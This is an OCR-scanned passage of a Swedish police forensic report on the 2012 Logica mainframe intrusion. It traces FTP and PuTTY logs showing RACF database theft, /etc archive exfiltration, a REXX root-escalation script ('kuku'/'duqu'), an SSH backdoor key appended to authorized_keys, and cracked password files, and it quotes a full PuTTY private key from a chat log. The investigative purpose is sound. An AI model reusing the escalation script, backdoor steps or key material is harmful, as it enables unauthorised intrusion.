samma kod som använts i programmet "aptcli" .  Detta beskrivs i PM upprättad 
av IT-forensiker Gustav Fahlen. Filen där källkoden återfanns var "ab.c" i den 
krypterade containern (tOO l a) .  

F I LNAMN l SÖKVÄG 
a b . c  l t001a\a \mvs\devzone\a b . c  
S KAPAD 2012 - 03 - 07 13 : 51 : 47 
S E NAST ÄNDRAD 2012 - 0 3 - 07 13 : 5 3 : 19 
STORL E K  15 439 B ( 1 5 ) 08 KB ) 

Beräknad  tid  ( - 124 : 12 : 00 )  med anledning  av omst ällning  av datorns klocka : 

S KAPAD 201 2 - 03 - 02 09 : 39 : 47 
S E NAST ÄNDRAD 2012 - 03 - 02 09 : 41 : 19 

Filen "ab.c" återfinns i bilaga 20 1 2-020 1 -BG25023-26 . 1 2. 

UTC 
UTC 

En liknande funktion som den i "aptcli" återfanns även i en chattlogg som 
återfanns i material från Passagen tillhörande Mathias Gustafsson. Mer om 
denna chat beskrivs i undersökningsprotokoll angående beslag 20 1 2-020 1 -
B G  l 022 1 .  I chattloggen är det användaren "tLt" som postar samma typ av 
"output" som kan ses i utdraget ur "aptftp" här ovan. 

2012 - 03 - 10 02 : 10 < t l t >  $AC LITP00 ADVANCED  C L I ENT THR EAT P E RSISTANCE INITIAL I ZATION . 

201 2 - 0 3 - 10 02 : 10 < t l t >  Advanced  P e r s i stent clienT  

2012 - 03 - 10 02 : 10 < t l t >  port 5021 : listening . 

2012 - 03 - 10 02 : 10 < t l t >  waiting for t h e  APTb a c k < TM>  . . .  

201 2 - 03 - 10 02 : 10 < t l t >  a l e rt ! ! !  advan c i n g  port 5021 t h reat ! 

201 2 - 03 - 10 02 : 10 l < t L t >  a c c epted persi stent t c p  c o n n e c t i o n  from 9 3 . 186 . 170 . 54 : 60090 

Utdrag 31 Utdrag ur chattlogg funnen i Mathias Gustavssons material på Passagen 

Datorn som kommandot körs ifrån är troligen den virtuella stordatorn i 
beslagspunkt 2 .  

RACF 

I Logicas rapport under rubriken "Capturing user account information and 
passwords" framgår att man misstänker att en angripare kommit över hela 
Logicas RACF-databas .  RACF-databasen innehåller bl. a. användarkonton, 
lösenord och behörigheter. Det man misstänker är att databasen vid två tillfällen 
hämtats ut i form av en komprimerad fil, "prim.gz" . I Logicas ftp-logg 
"TCP _FTP _SERVER" syns följande: 

DATE 
TIME 

2012 - 03 - 10 
03 : 27 : 23 

201 2 - 03 - 10 
03 : 28 : 54 

FTP LOCAL BYTE 
COMMAND USERID COUNT 

RETR  AVIY3 56 29297500 

RETR  AVIY3 5 6  29297500 

Tabell l 9  Utdrag ur "TCP _FrP _SERVER" 

F U L L  
R E M  I P  ADDR 

DS_NAME 

l 203 . 176 . 141 . 205 l /tmp/ p rim . gz 

203 . 176  . 141 . 205 /tmp/ prim . gz 
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A v loggen framgår att vad som ser ut att vara samma fil laddats ner till lP
adressen 203 . 1 7  6. 14 1 .205 vid två tillfällen. Filens storlek var 29 297 500 B 
vilket motsvarar 27,94 MB (29 297 500/( 1024* 1 024)). 

På den undersökta datorn i den krypterade containern återfanns en fil med 
namnet "prim.gz" : 

F I L NAMN l SÖKVÄG 

p rim . gz l t001a\a\  vmShared linux  a \prim . gz 
S KAPAD 2012 - 03 - 15 07 : 42 : 02 
S E NAST ÄNDRAD 2012 - 03 - 15 08 : 06 : 11 
STOR L E K  29 297 538 B ( 27 � 94 MB ) 

Beräknad  tid  ( - 124 : 12 : 00 )  med anledning  av omställning  av datorns  klocka : 

S KAPAD 2012 - 03 - 10 03 : 30 : 02 
S E NAST ÄNDRAD 2012 - 03 - 10 03 : 54 : 11 

UTC 
UTC 

Enligt Elisabeth Gummesson på Logica överensstämmer innehållet i filen 
"prim.gz" väl med hur innehållet i Logicas RACF-databas såg ut den 1 0 mars 
20 12 .  

JCL programs 
Under rubriken "JCL programs" nämns i Logicas rapport två JCL-script som en 
angripare kan ha använt för att få ut data, eller försökt få ut data, ur systemet. 
Dessa två script var "aptitup.jcl" och "nop.jcl". I den krypterade containern 
(t00 1 a) återfanns två filer med dessa namn. 

"aptitup.jcl" 

F I LNAMN l SÖKVÄG 

a ptitup . j c l  l t001a \ a \x\a b\mvs \apti  t u  p .  j e l  
S KAPAD 2012 - 03 - 01 09 : 02 : 28 
S E NAST ÄNDRAD 2012 - 03 - 01 09 : 06 : 3 1  
STORL E K  335 B 

Beräknad  tid  ( - 124 : 12 : 00 )  med a n ledning  av omställning  av datorns  klocka : 

S KAPAD 2012 - 0 2 - 2 5  04 : 50 : 28 
S E NAST ÄNDRAD 2012 - 02 - 25 04 : 54 : 3 1 

IIAVIY3 56A JOB AVIY356A 
IIAIUST E P  EXEC PGM=BPXBATCH , 
I l  PARM= ' SH ltmpla . env ' 
IISTDE RR DD PATH= ' Itmpl a . err ' ,  
I l  PATHOPTS= ( OWRON LY, OCREAT , OTRUNC ) ,  
I l  PATHMODE= ( S I RWXU ) 
IISTDOUT DD PATH= ' Itmpla . out ' ,  
I l  PATHOPTS= ( OWRON LY, OCREAT, OTRUNC ) ,  
I l  PATHMODE= ( S I RWXU ) 
IISTDIN DD DUMMY 

Utdrag 32 Innehållet i "aptitup.jcl" 

"nop.jcl" 

UTC 
UTC 
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F I LNAMN l SÖKVÄG 

nop . j c l  l t881a\a\mvs\nop . j c l  
S KAPAD 2812 - 83 - 82 17 : 29 : 88 UTC 
S E NAST ÄNDRAD 281 2 - 83 - 82 18 : 11 : 3 1 UTC 
STOR L E K  272 B 

Beräknad  tid  ( - 124 : 12 : 88 )  med anledning  av omst ällning  av datorns  klocka : 

S KAPAD 2812 - 82 - 26 13 : 17 : 88 
S E NAST ÄNDRAD 281 2 - 82 - 26 13 : 59 : 3 1 

I Logicas ftp-logg "TCP _FTP _SERVER" syns hur en fil som innehåller namnet 
"NOP.JCL" laddas upp, laddas ner och raderas från lP-adressen 178 . 1 8 .243 .27 
den 26 februari 20 1 2. 

DATE 
TIME 

FTP LOCAL BYTE F U L L  
COMMAND USERID  COUNT R E M  I P  ADDR 

2812 - 82 - 26 l STOR AVIY3 5 6  233  1 178 . 18 . 243 . 27 
18 : 56 : 44 

2812 - 8 2 - 26 
RETR AVIY3 5 6  888 178 . 18 . 243 . 27 

18 : 56 : 51 

2 812 - 83 - 81 l D E L E  AVIY3 5 6  e l 178 . 18 . 243 . 27 
11 : 84 : 28 

Tabell 20 Utdrag ur "TCP _FrP _SERVER" 

IIAPT2011A JOB ( 5101 ) ,  ' APT2011 ' , C LASS=S ,  
Il REMOTE =KNARK , DEST=KNARK , DE LDEST=KNARK ,  
Il MSGC LASS=H , P RTY=1 5 , MSG L EVE L= ( 1 , 1 )  
IISTEP  EXEC PGM=I E F BR14 
IISYS E RROR DD SYSOUT= 
I I SYSAB END DD SYSOUT= * 
IISYSTSPRT DD SYSOUT= * 
IISYSTSOUT DD SYSOUT=* 

IISYSTS IN  DD * 

l * 

Utdrag 33 Innehåll i "nop.jcl" 

"Kuku" 

DS_NAME 

l E897 . Y3568225 . NOP . J C L  

l E897 . Y3568225 . NOP . J C L  

l E897 . Y356822 5 . NOP . J C L  

Logicas rapport beskriver under rubriken "Analysis of captured program files" 
hur ett script kallat "kuku" laddas upp till Logica. Scriptet innehåller enligt 
rapporten ett fel och görs därför om. Scriptet döps då om till "duku" . I Logicas 
ftp-logg "TCP _FTP _SERVER" syns hur "kuku" laddas upp till Logica den 5 
mars 20 12 .  

DATE 
TIME 
281 2 - 8 3 - 0 5  
13 : 57 : 18 

FTP LOCAL 

Tabell 21 Utdrag ur "TCP _FrP _SERVER" 

BYTE F U L L  
R E M  I P  ADDR 

DS_NAME 

178 . 18 . 243 . 27 ltmp/ kuku  

På den undersökta datorn återfanns en loggfil från programmet PuTTY som 
återspeglar delar av händelsen. Själva överföringen av filen syns inte men 
däremot innehållet i filen och förändringen av innehållet. Loggfilen där detta 
återfanns var "aptftp.log" . Överföringen av "kuku" till Logicas system gjordes 
från lP-adressen 178 . 1 8 .243 .27. Innehållet i "aptftp.log" speglar sannolikt 
händelser från lP-adressen 93 . 1 86. 170.54.  Fildata för "aptftp.log" finns under 
rubriken "Bakdörr". 
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Överst i utdraget ur loggfilen "aptftp.log" (bilden nedan) kan man s e  när PuTTY 
började logga. Detta överensstämmer med när filen skapades på datorn. 
Utdraget nedan visar också början på innehållet i filen "kuku" då man valt att 
visa innehållet genom kommandot "cat kuku" 

=-=-=-=-=-=-=-=-=-=-=-= PuTTY log 2012 . 03 . 10 18 : 08 : 14 =-=-=-=-=-=-=-=-=-=-=-= 

id [ ba c k s pa c e ] [ ba c k s p a c e ] wget 
wget : FSUM7 3 5 1  not fou nd  
[ l ]  + Stopped ( SIGTSTP ) . /aptcli  

APT2011 : / u/ a pt2011 : > c at kuku  

! * REXX * / 
c a l l  sys c a l l s  ' ON '  
if __ a rgv . 2== ' kuku ' then  do 

actdress  sys c a l l  ' setuid 0 '  

Utdrag 34 Utdrag ur "aptftp.log" 

I bilden nedan syns slutet på filen "kuku" så som den visats i loggfilen. På näst 
sista raden syns texten "v5rl "  

say  ' 13tz g3t u s  s0m3 0 f  d4t r00t ! @# '  

p a rm . 0=2 
p a rm . l= __ a rgv . l  
p a rm . 2= ' kuku ' 
env . 0=1 
env . l= ' _BPX_SHAREAS=NO ' 

a ct d r e s s  sys c a l l  ' s pawn / u s r/ l pp/netview/vSrl/bin/c nmeunix  0 . pa rm . env . ' 

a ct d r e s s  sys c a l l  ' wait wret . ' 

Utdrag 35 Utdrag ur "aptftp.log" 

Man kan sedan se i loggfilen "aptftp.log" att scriptet "kuku" körs och att man 
får ett felmeddelande (bilden nedan) . 

l s  - l  /tmp/ kuku  
- rw - r - - - - - l BPXDF LTU D384 
c hrnod 755 /tmp/ kuku  
/tmp/ kuku  

13  +++ if c u ruid==0 -
2 +++ c a l l  sys c a l l s  ' ON '  

738  Mar  5 13 : 57 /tmp/kuku  

I RX0013I E rror r u n n i n g  /tmp/ k u k u ,  l i n e  13 : Invalid  c h a racter  i n  p rogram 

Utdrag 36 Utdrag ur  "aptftp.log" 

Strax därefter kan man i loggfilen se hur delar av innehållet i "kuku" byts ut och 
att den förändrade filen sparas som "duku" (bilden nedan). 

d rwxr - x r - x  7 SUPE RUSR SYSl 416 May 16 2011 v 5 r4 

c a  /tmp / k [ ba c k s p . ] [ ba c k s p . ] [ ba c k s p . ] [ ba c k s p . ] [ ba c k s p . ] [ ba c k s p . ]  [ ba c k s p . ] t 
/tmp/ kuku  l sed  ' s , v5 rl , v5r4, g '  > /tmp/d u k u  

c hrnod 7 5 5  l [ ba c k s p . ] [ ba c k s p . ] tmp/duku  
/tmp/ d u k u  
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l l3tz g3t u s  sem3 ef d4t reet ! @# 

Utdrag 37 Utdrag ur "aptftp .log" 

Kommandot som används,  "cat /tmp/kuku l sed ' s ,v5rl ,v5r4,g' > /tmp/duku" tar 
innehållet i filen "kuku", skickar det till textredigeraren "sed" där texten "v5rl "  
byts ut mot "v5r4". Filen med det förändrade innehållet sparas sedan som en  ny 
fil , "duku". 

I den undersökta datorn återfanns en fil kallad "kuku.txt" 

F I L NAMN 1 SÖKVÄG 

kuku . txt l t001a\a \mvs \kuku . txt 
S KAPAD 2012 - 03 - 29 22 : 5 3 : 36 UTC 
S E NAST ÄNDRAD 2012 - 03 - 29 22 : 5 3 : 36 UTC 
STOR L E K  766 B 

Innehållet i filen "kuku.txt" motsvarar i stort det innehåll av filen "kuku" som 
visas i loggfilen "aptftp.log". Skillnaden är att texten "v5rl "  bytts ut mot 
"v5r4", d.v . s .  den ändring som syns i loggfilen ovan av filen "kuku" till "duku". 
Innehållet i filen "kuku.txt" som återfanns på datorn motsvarar alltså innehållet i 
"duku" . Nedan visas delar av filen "kuku.txt" . 

say ' 13tz g3t u s  sem3 ef d4t reet ! ' 

p a rm . e=2 
p a rm . l=_a rgv . l  
p a rm . 2= ' ku k u ' 
env . e=l 
env . l= ' _BPX_SHAREAS=NO ' 
a d d r e s s  sys c a l l  ' s pawn / u s r/ l p p / n etview/v5 r4/ b i n / c nme u n ix e . p a rm . env . ' 
a d d re s s  sys c a l l  ' wa it wret . ' 

Utdrag 38 Utdrag ur "kuku.txt" 

Innehållet i "kuku.txt" återfinns i bilaga 20 1 2-020 1 -BG25023-26 . 1 3 .  

I loggfilen "aptftp.log" kan man också senare s e  att filen "duku" kopieras och 
sparas under namnet "duqu" (se bilden nedan) . 

OS/39e SYS19 22 . ee e3 2817 

/tmp [ ba c k s p . ] [ ba c ks p . ] [ ba c k s p . ] [ ba c k s p . ] c p  /tmp/d u k u  /tmp/q [ ba c k s p . ] d u q u  

/tmp/duqu  
13tz g3t  u s  sem3  ef d4t reet ! @# 
eu : e u :  e g :  e 
get reet ? 
id  
uid=e ( SUPERUSR)  gid=e ( STCGROU P )  grou ps= 5484ee ( E484 ) 

pwd 
/SYSTEM/tmp 

Utdrag 39 Utdrag ur "aptftp .log" 

En bit längre in i loggfilen "aptftp.log" syns när man listar innehållet i katalogen 
"/tmp". Där syns filerna "kuku", "duku" och "duqu" tillsammans med 
tidpunkten då de senast ändrades .  
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d rwxr - x - - - 3 SUP E RUSR D384 
- rwxrwxrwx l BPXDF LTU D384 
- rw- r - - r - - l SUPE RUSR D384 
- rwxr - x r - x  l BPXDF LTU D384 
- rwxr - x - - - l BPXDF LTU D384 
- rwx - - - - - - l SUPERUSR D384 
- rwx - - - - - - l SUPE RUSR D384 
- rw - r - - - - - l BPXDF LTU D384 
- rwxr - x r - x  l BPXDF LTU D384 
d rwxr - x r - x  2 33185 D384 

Utdrag 40 Utdrag ur "aptftp.log" 

"apt.tgz" 

8192 Mar  s 15 : 09 a 
98304 Mar  4 08 : 13 a . env 

3624960 Nov 12  2008 c i c swsd l . tgz 
738 Mar 5 13 : 58 d u ku 
738  Mar  5 15 : 42 d u q u  

2 8 3 4  Feb  12  01 : 49 inetd . debug . stderr 
0 Feb  12  01 : 49 i netd . debug . stdout 

8618 Feb  10 2006 infil  
738  Mar  5 13 : 57 kuku  

8192 Jun  4 2008 mnt  

A v Logicas rapport framgår att en angripare packat alla filer i en av 
systernkatalogerna, "/etc",  på SYS 1 9  till filen "apt.tgz" . Filen har sedan hämtats 
via FTP vid flera tillfällen och till två olika lP-adresser. I tabellen nedan syns 
överföringarna av filen i Logicas ftp-logg "TCP _FTP _SERVER". 

DATE FTP LO CAL BYTE F U L L  
D S  NAME 

TIME COMMAND USE RID COUNT REM IP ADDR -

2012 - 0 3 - 0 5  
RETR l BSN0058  1392640 178 . 18 . 243 . 27 /tmp/ a pt . tgz 

17 : 09 : 19 
2012 - 0 3 - 0 5  

RETR BSN0058 l 1392640 178 . 18 . 243 . 27 /tmp / a pt . tgz 
19 : 28 : 03 l 
2012 - 0 3 - 08 

RETR l SPRBI08 1392640 46 . 59 . 51 . 181 /tmp/ a pt . tgz 
13 : 45 : 24 
2012 - 0 3 - 08 

RETR ASI0936 1392640 46 . 59 . 51 . 181 / SVSTEM/tmp / a pt . tgz 
14 : 33 : 03 

Tabell 22 Utdrag ur "TCP _FrP _SERVER" 

I filen "aptftp.log" kan man se när en fil kallad "apt.tgz" skapas av katalogen 
"/etc/" och alla filer och kataloger där i .  

t a r# cvfz a .  [ ba c k s p . ] [ ba c k s p . ] ptt [ ba c k s p . ] . tgz /etc/ 

a /etc/  0 bloc ks  
a /et c / . s h_h istory 3 blocks  
a /etc/banner  2 blocks  
a /et c / bpa/  0 bloc ks  
a /et c / cmx/ 0 bloc ks  
a /et c / d ce/ 0 blocks  
a /et c / dce/bin  symbo l i c  link to . .  / . .  / b i n  
a /et c / d ce/dcecp/  0 blocks  

Utdrag 4 1  Utdrag u r  "aptftp.log" 

A v loggfilen framgår att sammanlagt 324 filer och kataloger packas i filen 
"apt.tgz". 

På den undersökta datorn, i den krypterade containern, återfanns en fil med 
namnet "apt.tgz" . 

F I LNAMN SÖKVÄG 

a pt . tgz l t001a\ a \x\cpr\apt . tgz 
S KAPAD 2012 - 03 - 14 18 : 45 : 40 UTC 
S E NAST ÄNDRAD 2012 - 03 - 14 18 : 47 : 1 3 UTC 
STORL E K  1 3 60 KB 

Beräknad  tid  ( - 124 : 12 : 00 )  m e d  a n ledning av omst ä l l n i n g  av datorns  klocka : 

l 
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SKAPAD 2012 - 03 - 09 14 : 3 3 : 40 
S E NAST ÄNDRAD 2012 - 03 - 09 14 : 3 5 : 1 3 

Storleken på filen "apt.tgz" var enligt Logicas loggfil, "TCP _FTP _SERVER", l 
392 640 B vilket motsvarar l 360 KB .  Namnen på filerna och katalogerna i 
"apt.tgz" (324 stycken) överensstämmer med de fil- och katalognamn som syns 
i loggfilen "aptftp.log" i samband med att arkivet skapades .  En lista på 
innehållet I "apt.tgz" finns i bilaga 20 1 2-0201 -BG25023-26. 14 .  

Program funna på Logicas system 

"be" 

Logica beskriver i sin rapport under rubriken "Analysis of captured program 
files" ett program som laddats upp till Logica och sedan körts vid flera tillfällen 
från olika lP-adresser. Samma program har enligt rapporten förekommit med 
olika namn, "be", "asd", "err", "qwe", "d044", "daf1 367", "daf1473", "e90opc" 
och "v077229". Av Logicas rapport framgår att MD5-hashsumman är den 
samma för alla dessa filer varför man kan säga att innehållet är identiskt. Enligt 
rapporten var MD5-hashsumman "37ece300a88ca0c 1 02bdbecce 1 84d5f4". 

På den undersökta datorn, i den krypterade containern, återfanns på två ställen 
en fil kallad "be" med samma MD5-hashsumma som i Logicas rapport. 

F I L NAMN j SÖKVÄG 

be l t001a\a \mvs\devzone\be 
S KAPAD 2012 - 0 3 - 2 5  13 : 46 : 00 
S E NAST ÄNDRAD 2012 - 03 - 25 1 3 : 46 : 00 
STORL E K  77 824 B ( 7 6 � 00 KB ) 
MD5 37ECE300A88CA0C102BDB ECCE 184D5 F4 

B e r ä k n a d  tid  ( - 124 : 12 : 00 )  m e d  a n l e d n i n g  av omställning  av d a t o r n s  klocka : 

S KAPAD 2012 - 03 - 20 09 : 34 : 00 
S E NAST ÄNDRAD 2012 - 03 - 20 09 : 34 : 00 

UTC 
UTC 

I Logicas ftp-logg "TCP _FTP _SERVER" syns hur "be" laddas upp till Logica 
den 20 mars 20 1 2. 

DATE 
TIME 
201 2 - 03 - 20 
09 : 3 5 : 08 

FTP LOCAL 

Tabell 23 Utdrag ur "TCP _FTP _SERVER" 

BYTE F U L L  
R E M  I P  ADDR 

DS_NAME 

9 3 . 186 . 170 . 54 /tmp/ . , / be 

Filen återfanns även på ytterligare en plats i den krypterade containern: 
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F I LNAMN l SÖKVÄG 

be l t001a\a \mvs \build \be 
S KAPAD 2012 - 04 - 03 13 : 19 : 30 
S E NAST ÄNDRAD 2012 - 04 -03  1 3 : 19 : 30 
STOR L E K  77 824 B ( 76 � 00 KB ) 
MD5 37ECE300A88CA0C102BDB ECC E184D5 F4 

"bes" 

I den krypterade containern (tOO l a) återfanns filen "bes" 

F I LNAMN l SÖKVÄG 

Bes l t001a\a \x\STAB\bes 
S KAPAD 2012 - 03 - 15 06 : 39 : 5 5 
S E NAST ÄNDRAD 2012 - 03 - 15 06 : 39 : 5 5 
STOR L E K  77 824 B ( 76 � 00 KB ) 
MD5 945 E0F9D097C243B72584178F B0034DE 

Beräknad  tid  ( - 124 : 12 : 88 )  med  anledning  av omst ä l l n i n g  av datorns  klocka : 

SKAPAD 2012 - 03 - 10 02 : 27 : 5 5 
S E NAST ÄNDRAD 2012 - 03 - 10 02 : 27 : 5 5 

020 1 -K8 1 864- 1 2  

UTC 
UTC 

UTC 
UTC 

I Logicas ftp-logg "TCP _FTP _SERVER" syns hur "bes" laddas upp till Logica 
den l o mars 20 1 2. storleken på filen överensstämmer med storleken på filen 
som laddats upp 

DATE 
TIME 

FTP LO CAL BYTE F U L L  
R E M  I P  ADDR 

DS_NAME 

281 2 - 83 - 18 
82 : 29 : 33 

283 . 176 . 141 . 285  /var/bes  

Tabell 24 Utdrag ur  "TCP _FrP _SERVER" 

"d ps" 

F I LNAMN l SÖKVÄG 

d ps l t001a\a\  vmSha red l i n ux  a\dps  
S KAPAD 2012 - 03 - 15 11 : 05 : 03 
S E NAST ÄNDRAD 2012 - 03 - 15 11 : 05 : 03 
STOR L E K  90 112 B ( 88 � 00 KB ) 
MD5 26BA687CAF198C F F E71008 F BBDB E 5A31 

Beräknad  tid  ( - 124 : 12 : 88 )  med anledning  av omst ä l l n i n g  av datorns  klocka : 
SKAPAD 2012 - 03 - 10 06 : 5 3 : 03 
S E NAST ÄNDRAD 2012 - 03 - 10 06 : 5 3 : 03 

UTC 
UTC 

I Logicas ftp-logg "TCP _FTP _SERVER" syns hur "dps" laddas upp till Logica 
den 10 mars 20 12 .  Storleken på filen överensstämmer med storleken på filen 
som laddats upp. 

DATE 
TIME 
2812 - 8 3 - 18 
86 : 54 : 89 

Tabell 25 Utdrag ur "TCP _FrP _SERVER" 

F U L L  
R E M  I P  ADDR 

DS_NAME 

283 . 176 . 141 . 285 /var/dps  
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Både filen "bes" och filen "dps" beskrivs I Logicas rapport under rubriken 
"Analysis of captured program files" . 

SSH-nycklar 

I Logicas rapport under rubriken "Other noteworthy events" beskrivs hur SSH
nycklar lagts till på Logicas system. I rapporten visas ett utdrag som kommer 
från filen "aptftp.log" som återfanns i den krypterade containern (tOO l a) .  I 
loggfilen syns hur angriparen lägger till en SSH-nyckel, först i en temporär fil 
kallad "a" och därefter i en fil på Logicas system kallad "authorized_keys" .  

echo  ' s s h - rs a  
AAAAB3NzaC1yc 2 EAAAABJ QAAAIEA1Sivj CJ 0vZxQWfQC J itj k6Gbawcomcowz+j Kj J fq1mTR4EfixrGPj 
pbn7fiaXp9NTu2Uz9niTq kjYBb9 FWgQITaPc6GniquXYx8VUqWw8yh5yTJ8xE33hzXs BXHsmlB r0RHj if 
n0sj j s rYX9wCQ3WlG s sxgXMgM2TW1Qgdf43PU= ' > a 
l s  - l  
total 24 
- rw - r - - - - - 1 SUPE RUSR STCGROUP 
- rw - r - - r - - 1 AVIY991 STCGROUP 

209 Mar 5 15 : 28 a 
815  J a n  27 10 : 12 authorized_keys 

- r - x r - x r - x  1 SUP E RUSR STCGROUP 404 J a n  27 09 : 28 authorized_keys . old 
cat a >> authorized_keys 

Utdrag 42 "Utdrag ur "aptftp.Jog" 

Av utdraget ovan framgår att filen "a",  innehållande den tillagda SSH-nyckeln" 
skapades den 5 mars klockan 1 5 .28 .  Samma SSH-nyckel som syns i loggfilen 
ovan återfanns i tre olika filer i den krypterade containern (tOO l a) på undersökta 
datorn: 

F I L NAMN j SÖKVÄG 

a pt s s h . pub  l t001a \a \x\c pr\apt s s h . p ub  
S KAPAD 2012 - 03 - 10 20 : 3 3 : 19 UTC 
S E NAST ÄNDRAD 2012 - 03 - 10 20 : 3 3 : 19 UTC 
STOR L E K  294 B 

Beräknad  tid  ( - 124 : 12 : 00 )  med a n led n i n g  av omst ä l l n i n g  av datorns  klocka : 
S KAPAD 2012 - 03 - 05 16 : 21 : 19 
S E NAST ÄNDRAD 2012 - 0 3 - 0 5  16 : 21 : 19 

I samma katalog som "aptssh.pub" återfanns även filerna "aptssh.priv.ppk" och 
"aptssh. txt" som båda skapats inom en minut efter "aptssh.pub" . Alla tre filer 
innehåller den aktuella SSH-nyckeln och återfinns i bilaga 20 1 2-020 1 -
BG25023-26. 17  SSH-nycklar. Filen "aptssh.priv.ppk" innehöll både en publik 
och en privat nyckel. 

I det material tillhörande Mathias Gustafsson som togs från Passagen återfanns 
en del chattloggar. Bland dessa återfanns den publika SSH-nyckel som läggs till 
i filen "authorized_keys" som beskrivs här ovan. Den privata nyckel som fanns i 
chatten var identisk med den privata nyckel som fanns i filen "aptssh.priv.ppk" . 

< t lt - >  <@t lt - >  I s s u e r : O=Ve riS ign Trust Netwo r k ,  

2012 - 0 3 - 09 1 5 : 34 < t lt - >  
OU=Ve r iSign , I n c . ,  OU=VeriSign International  Server CA -
C l a s  s 3 ,  OU=www . verisign . c om/CPS I n corp . by Ref . LIAB I LITY 
LTD . ( c ) 97 Ve riSign 

201 2 - 0 3 - 09 1 5 : 34 < t lt - >  < t lt - >  <@t lt - >  Va l i d ity 

2012 - 0 3 - 09 15 : 34 < t lt - >  
< t lt - >  <@t lt - >  Not Before : May 20 00 : 00 : 00 
2010 GMT 
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2012 - 0 3 - 09 1 5 : 34 

201 2 - 0 3 - 09 1 5 : 34 

2012 - 0 3 - 09 15 : 37 

2012 - 0 3 - 09 1 5 : 37 

2012 - 0 3 - 09 1 5 : 37 

201 2 - 0 3 - 09 1 5 : 38 

201 2 - 0 3 - 09 1 5 : 38 

201 2 - 03 - 09 1 5 : 38 

2012 - 0 3 - 09 1 5 : 38 

2012 - 0 3 - 09 1 5 : 38 

2012 - 0 3 - 09 1 5 : 38 

201 2 - 0 3 - 09 1 5 : 38 

201 2 - 03 - 09 1 5 : 38 

201 2 - 0 3 - 09 1 5 : 38 

201 2 - 0 3 - 09 1 5 : 38 

201 2 - 03 - 09 1 5 : 38 

2012 - 0 3 - 09 1 5 : 38 

201 2 - 0 3 - 09 1 5 : 38 

201 2 - 0 3 - 09 1 5 : 38 

2012 - 0 3 - 09 1 5 : 38 

2012 - 0 3 - 09 1 5 : 38 

2012 - 0 3 - 09 1 5 : 38 

201 2 - 03 - 09 1 5 : 38 

< t lt - >  
< t lt - >  <@tlt - >  Not After : May 1 9  23 : 59 : 59 
2012 GMT 

< t lt - >  
< t lt - >  <@t lt - >  Subject : C=S E ,  ST=Stockholm,  
L=Rissne,  O=S E B ,  OU=Group IT,  CN=ls p0024a 

< t lt - >  btw 

< t lt - >  s k riv ner  denna  

l < t lt - >  e s s h - nyckeln  j ag bd ' at ett actmi n konto med 

< t lt - >  PuTTY - U s e r - K ey - F i le - 2 :  s s h - rs a  

1 < t lt - >  l E n c ryption : non e 

< t Lt - > Comment : r s a - key- 20120310 

< t lt - >  1 Public - L ines : 4 

< t lt - >  
AAAAB3NzaC1yc2EAAAABJQAAAI EA1Sivj CJ 0vZxQWfQC J itj k6Gbawcomc 
OWZ+j K 

< t Lt - >  
j J fq1mTR4EfixrGPj pbn7fiaXp9NTu2Uz9niTq kjYBb9 FWgQITaPc6Gn i q  
uXYx8V 

< t lt - >  
UqWw8yh 5yTJ 8xE 3 3 h zXsBXHsmlBr0RHj ifn0s j j s rYX9wCQ3WlGs sxgXMg 
M2TW1Q 

< t lt - >  gdf43PU= 

< t lt - >  P rivate - L i n e s : 8 

< t lt - >  
AAAAgBc KnVt B / s h j 7QLORWvpA9ib2XNa uEf6 L s p eWxYeQua+ypTJ fX1DoN 
E l E ieQ 

< t lt - >  
f2Qs 5 c NX9Gl/U+zUA9M J Z3fvkwpPw5SkF6z3b3 lwo0YUdZFfhltc nopBY9 
F z0fPS 

< t lt - >  
Z0bgo8zbxTQlWqB8PQ8Y1NizNz keumiQv J n pqM6bqoDqa BmdAAAAQQD9 j Z  
u 2 c kGu  

< t lt - >  
i0+Z1 E41xeUZqd5ZVii / rt/Okxp/Z0Xg1KwdmJ UNvMWO+oD6k s rH389vJ 8 
V J P E H 5  

< t lt - >  
2Br rNo5aTAh LAAAAQQDXMLj 9WkkMRPAzWrwyq41bNR3AbCMxbVX4AtuYSg 
TRq/4D 

< t lt - >  
atKSs aAsvWDluiDim LqGSOK0CmBYB LtiMMs F a ee/AAAAQQCbl2nUmy5uDe 
J 9 P n 2 s  

t Lt - cU7zbgbkb0bUBfL7RKCSA3bO/tQ3Pw0F uNTj l J yhe1DS6Rc kmRLhwG i n r R  
l < > j / H60SZ 

< t lt - >  y K mR  

< t lt - >  P rivat e - MAC : 87811b4b2e445 c020745d87ec3234010c07545f1 

Utdrag 43 Utdrag ur "Sammanställning av .xchat2" 

wmovlae.id_rsa 

Enligt Logicas rapport innehåller filen "wmovlae.id_rsa" en SSH-nyckel 
tillhörande en av deras anställda. Filen återfanns i den krypterade containern: 

F I L NAMN SÖKVÄG 

wmovlae . id r s a  l t001a \ a\  vmS ha  red linux  a \ s s h \wmovlae . id 
SKAPAD 2012 - 03 - 15 14 : 54 : 30 
S E NAST ÄNDRAD 2012 - 03 - 15 14 : 54 : 46 
STORL E K  904 J 9 KB 

Beräknad  t i d  ( - 124 : 12 : 00 )  med a n ledning av omst ä l l n i n g  av datorns  klocka : 

SKAPAD 2012 - 03 - 10 10 : 42 : 30 
S E NAST ÄNDRAD 2012 - 03 - 10 10 : 42 : 46 

r sa  
UTC 
UTC 
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Användarkonton och lösenord 

Förutom filen "prim.gz" återfanns användarkonton och lösenord i flera filer på 
den undersökta datorn. 

I den krypterade containern återfanns fem filer som innehåller en större mängd 
användarnamn och lösenord. Elisabeth Gummesson på Logica bedömde då hon 
tittade på filerna att det rörde sig om konton hos Logica. Om samtliga konton är 
från Logica är inte klarlagt. Totalt i de fem filerna återfanns 1 02 53 1 unika 
kontouppgifter. Många av dem förekom i flera av filerna. 

F I LNAMN J SÖKVÄG 

racfc r a c k0 . txt l t001a \a\x\c pr\ra cfc ra c k0 . txt 
S KAPAD 2012 - 03 - 28 11 : 04 : 2 5 
S E NAST ÄNDRAD 2012 - 03 - 28 11 : 04 : 26 
STOR L E K  904 � 9 KB 

Beräknad  t i d  ( - 124 : 12 : 00 )  med a n ledning av omställning  av datorns klocka : 
S KAPAD 2012 - 03 - 23 06 : 52 : 2 5 
S E NAST ÄNDRAD 2012 - 03 - 23 06 : 5 2 : 26 

"racfcrackO.txt" innehöll 57 637 unika användarnamn med lösenord. 

F I L NAMN j SÖKVÄG 

c ra c ked . txt l t001a\a \x\c pr\cra c ked . txt 
S KAPAD 2012 - 03 - 28 21 : 29 : 14 
S E NAST ÄNDRAD 2012 - 03 - 28 21 : 30 : 45 
STORL E K  2 087 KB 

Beräknad  t i d  ( - 124 : 12 : 00 )  med a n ledning av omst ä l l n i n g  a v  datorns  klocka : 

